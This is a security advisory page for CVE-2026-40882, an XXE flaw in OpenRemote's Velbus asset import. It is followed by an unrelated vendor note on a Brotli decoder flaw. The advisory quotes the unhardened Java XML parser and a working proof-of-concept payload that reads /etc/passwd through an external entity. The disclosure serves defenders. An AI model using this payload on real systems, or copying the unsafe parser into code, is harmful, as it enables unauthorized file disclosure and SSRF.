CVE-2026-40882

EUVD-2026-25090 · Published Apr 15, 2026

OpenRemote has XXE in Velbus Asset Import

Summary

The Velbus asset import path parses attacker-controlled XML without explicit XXE hardening. An authenticated user who can call the import endpoint may trigger XML external entity processing, which can lead to server-side file disclosure and SSRF. The target file must be less than 1023 characters.

Details

Velbus import uses DocumentBuilderFactory.newInstance().newDocumentBuilder().parse(...) on untrusted XML input, without explicit safeguards to disable DTD/external entities.

    @Override
    public Future<Void> startAssetImport(byte[] fileData, Consumer<AssetTreeNode[]> assetConsumer) {

        return executorService.submit(() -> {
            Document xmlDoc;
            try {
                String xmlStr = new String(fileData, StandardCharsets.UTF_8);
                LOG.info("Parsing VELBUS project file");

                xmlDoc = DocumentBuilderFactory
                    .newInstance()
                    .newDocumentBuilder()
                    .parse(new InputSource(new StringReader(xmlStr)));

Expanded Caption content is propagated into created asset names:

                String name = module.getElementsByTagName("Caption").item(0).getTextContent();
                name = isNullOrEmpty(name) ? deviceType.toString() : name;

                // TODO: Use device specific asset types
                Asset<?> device = new ThingAsset(name);

PoC

Log in to a realm with a user that can call Velbus asset import.
Create/select a Velbus TCP Agent in that same realm.
Send POST /api/{realm}/agent/assetImport/{agentId} with a Velbus project XML payload and compare behavior against a baseline import file.
Save the below code as a xxe.xml and upload to Setup under https://localhost/manager/?realm=<YOUR_REALM>#/assets/false/<ASSET_ID>. Chnage the file:///etc/passwd to another file if your passwd is longer than 1023 characters.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE velbus [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<Project>
  <Module type="VMB1RY" address="01" build="00" serial="LAB">
    <Caption>&xxe;</Caption>
  </Module>
</Project>

As long as the file content is under 1023 characters, the exploit will succeed.
<img width="1200" height="662" alt="image" src="https://github.com/user-attachments/assets/213f063d-98b6-4717-b98c-f4255952026b" />

If the file content reaches the limit, an error is thrown.
<img width="1200" height="630" alt="image" src="https://github.com/user-attachments/assets/ee177a6b-2cb2-48ae-94df-c994ecb41429" />

Impact

Type: XML External Entity (XXE)
Affected: Deployments exposing Velbus import to authenticated users with import access
Risk: limited local file disclosure (as long as the file is under 1023 characters) from the Manager runtime, and SSRF.

Technologies

Openremote Openremote

Weaknesses

CWE-611

CVSS scores

v3.17.6CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L

MITRE ATT&CK

Inferred

Where this vulnerability fits in an attack

ReconImpact

Initial Access

T1190Exploit Public-Facing Application

References

Potentially impacted assets

See if this affects your attack surface

Latest trending attack

Criticalyesterday

Google Brotli decoder - Remote Code Execution via compressed requests (Exploitation Check)

This control is the second step of the Patrowl response to CVE-2026-111497 (Node2Shell). It complements the first control of 22 October 2026, which focused on the Node.js runtime, and does not replace it. Why a second control CVE-2026-111497 is an out-of-bounds write in the Google Brotli decoder, the library that decompresses Brotli ("br") data. It was first published as a Node.js vulnerability, because Node.js bundles this decoder. Later publications showed that the flaw is in the library itself. Every product that embeds an affected version of the decoder is concerned, whatever its language or vendor. A public proof of concept demonstrates code execution. Any server that decompresses request bodies sent with "Content-Encoding: br" exposes the decoder to unauthenticated attackers. Known cases include Express 5 and NestJS 11 on Node.js, Koa and Fastify setups, Bun, Envoy and Istio with request decompression enabled, and any application or reverse proxy that decodes Brotli request bodies with an affected library. The flaw also works in the other direction. A malicious server can compromise an unpatched client that decodes a Brotli response, for example Node.js fetch(), Python clients (requests, httpx, aiohttp, Scrapy) with the Brotli or brotlicffi package, or libcurl builds with Brotli support. What this control checks Patrowl sends small, valid Brotli-compressed requests to each asset and observes whether the server decodes them. The check does not depend on the technology: it detects the behaviour, whatever the stack behind it. These requests are what any legitimate client could send. They never reach the vulnerable code path and cannot affect the availability of the service. How to read the result Potentially impacted means the asset decodes Brotli request bodies: the attack surface is exposed. It does not confirm that the asset is vulnerable. The version of the Brotli decoder in use is not visible from the outside. This check covers applications that parse request bodies on their root path. A Not impacted result does not rule out exposure on other routes, nor on the client side. Checking the versions on the servers remains the only exhaustive verification. Affected and fixed versions Google Brotli 1.0.3 to 1.2.0 are affected, fixed in 1.0.10, 1.1.1 and 1.2.1. Fixed releases of the main products embedding it: Node.js 22.23.4, 24.22.1 and 26.12.1 (end-of-life lines 20.x and older and 25.x receive no fix), Bun 1.4.4, Envoy 1.37.8, 1.38.6, 1.39.3 and 1.40.0, Istio 1.29.9, 1.30.6 and 1.31.2, Python Brotli 1.2.1 and brotlicffi 1.2.1.0. Products that link against the system library depend on the Brotli package of the Linux distribution. Recommendations Update every component that embeds the Brotli decoder (only real fix). Start with the assets flagged by this control. Restart the processes after the update. Rebuild containers, single-executable applications and appliances that bundle an affected runtime or library. Reduce the exposure until the update is deployed. Reject requests with "Content-Encoding: br" at the reverse proxy, load balancer or WAF, case-insensitively and including lists such as "gzip, br". On Envoy and Istio, disable request decompression for Brotli. Review outbound calls. List the features that fetch content from servers you do not control, and patch the services that host them first.